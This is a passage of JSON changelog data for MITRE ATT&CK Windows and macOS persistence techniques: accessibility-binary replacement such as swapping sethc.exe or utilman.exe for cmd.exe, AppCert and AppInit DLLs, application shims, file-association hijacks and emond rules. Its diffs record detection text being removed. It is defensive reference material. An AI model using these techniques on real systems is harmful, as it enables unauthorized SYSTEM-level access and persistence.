"description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/008",
"external_id": "T1546.008"
},
{
"source_name": "Narrator Accessibility Abuse",
"description": "Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020.",
"url": "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html"
},
{
"source_name": "FireEye Hikit Rootkit",
"description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20190216180458/https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html"
},
{
"source_name": "DEFCON2016 Sticky Keys",
"description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.",
"url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom"
},
{
"source_name": "Tilbury 2014",
"description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20200730053039/https://www.crowdstrike.com/blog/registry-analysis-with-crowdresponse/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Paul Speulstra, AECOM Global Security Operations Center"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"File: File Creation\", \"File: File Modification\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:56.964000+00:00\", \"old_value\": \"2025-04-15 19:58:41.211000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1028: Operating System Configuration",
"M1035: Limit Access to Resource Over Network",
"M1038: Execution Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0033: Detection Strategy for Accessibility Feature Hijacking via Binary Replacement or Registry Modification"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 14:47:41.795000+00:00",
"modified": "2025-10-24 17:49:00.663000+00:00",
"name": "AppCert DLLs",
"description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/009",
"external_id": "T1546.009"
},
{
"source_name": "Elastic Process Injection July 2017",
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
},
{
"source_name": "Sysinternals AppCertDlls Oct 2007",
"description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20130401232752/https://forum.sysinternals.com/appcertdlls_topic12546.html"
},
{
"source_name": "TechNet Autoruns",
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Command: Command Execution\", \"Process: OS API Execution\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:00.663000+00:00\", \"old_value\": \"2025-04-15 19:58:44.894000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \\n\\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\\n\\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \\n-\\n-Tools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\\n-\\n-Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1038: Execution Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0362: Detection Strategy for AppCert DLLs Persistence via Registry Injection"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 14:52:25.589000+00:00",
"modified": "2025-10-24 17:49:24.008000+00:00",
"name": "AppInit DLLs",
"description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/010",
"external_id": "T1546.010"
},
{
"source_name": "Elastic Process Injection July 2017",
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
},
{
"source_name": "AppInit Registry",
"description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.",
"url": "https://support.microsoft.com/en-us/kb/197571"
},
{
"source_name": "AppInit Secure Boot",
"description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.",
"url": "https://msdn.microsoft.com/en-us/library/dn280412"
},
{
"source_name": "TechNet Autoruns",
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Module: Module Load\", \"Windows Registry: Windows Registry Key Modification\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:24.008000+00:00\", \"old_value\": \"2025-04-16 20:37:21.193000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)\\n\\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \\n\\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)\\n-\\n-Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \\n-\\n-Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1038: Execution Prevention",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0557: Detection Strategy for Event Triggered Execution: AppInit DLLs (Windows)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 14:56:24.231000+00:00",
"modified": "2025-10-24 17:48:42.703000+00:00",
"name": "Application Shimming",
"description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/011",
"external_id": "T1546.011"
},
{
"source_name": "Elastic Process Injection July 2017",
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
},
{
"source_name": "FireEye Application Shimming",
"description": "Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020.",
"url": "http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf"
},
{
"source_name": "Black Hat 2015 App Shim",
"description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.",
"url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Module: Module Load\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.703000+00:00\", \"old_value\": \"2025-04-25 14:46:29.459000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\\n\\n* Shim-Process-Scanner - checks memory of every running process for any shim flags\\n* Shim-Detector-Lite - detects installation of custom shim databases\\n* Shim-Guard - monitors registry for any shim installations\\n* ShimScanner - forensic tool to find active shims in memory\\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\\n\\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\\n-\\n-* Shim-Process-Scanner - checks memory of every running process for any shim flags\\n-* Shim-Detector-Lite - detects installation of custom shim databases\\n-* Shim-Guard - monitors registry for any shim installations\\n-* ShimScanner - forensic tool to find active shims in memory\\n-* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\\n-\\n-Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1051: Update Software",
"M1052: User Account Control"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0017: Detection Strategy for Application Shimming via sdbinst.exe and Registry Artifacts (Windows)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 13:40:47.282000+00:00",
"modified": "2025-10-24 17:49:07.854000+00:00",
"name": "Change Default File Association",
"description": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command. For example: \n\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/001",
"external_id": "T1546.001"
},
{
"source_name": "Microsoft Change Default Programs",
"description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.",
"url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs"
},
{
"source_name": "Microsoft File Handlers",
"description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved September 12, 2024.",
"url": "https://learn.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2015/extensibility/specifying-file-handlers-for-file-name-extensions?view=vs-2015"
},
{
"source_name": "Microsoft Assoc Oct 2017",
"description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.",
"url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc"
},
{
"source_name": "TrendMicro TROJ-FAKEAV OCT 2012",
"description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.",
"url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Travis Smith, Tripwire",
"Stefan Kanthak"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:07.854000+00:00\", \"old_value\": \"2025-04-15 19:58:52.605000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.\\n\\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\\n\\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.\\n-\\n-User file association preferences are stored under [HKEY_CURRENT_USER]\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\\n-\\n-Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0061: Detect Default File Association Hijack via Registry & Execution Correlation on Windows"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 15:15:13.426000+00:00",
"modified": "2025-10-24 17:49:08.766000+00:00",
"name": "Emond",
"description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/014",
"external_id": "T1546.014"
},
{
"source_name": "magnusviri emond Apr 2016",
"description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019.",
"url": "http://www.magnusviri.com/Mac/what-is-emond.html"
},
{
"source_name": "xorrior emond Jan 2018",
"description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019.",
"url": "https://www.xorrior.com/emond-persistence/"
},
{
"source_name": "sentinelone macos persist Jun 2019",
"description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.",
"url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Ivan Sinyakov"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Command: Command Execution\", \"Process: Process Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:08.766000+00:00\", \"old_value\": \"2025-04-16 20:37:18.374000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
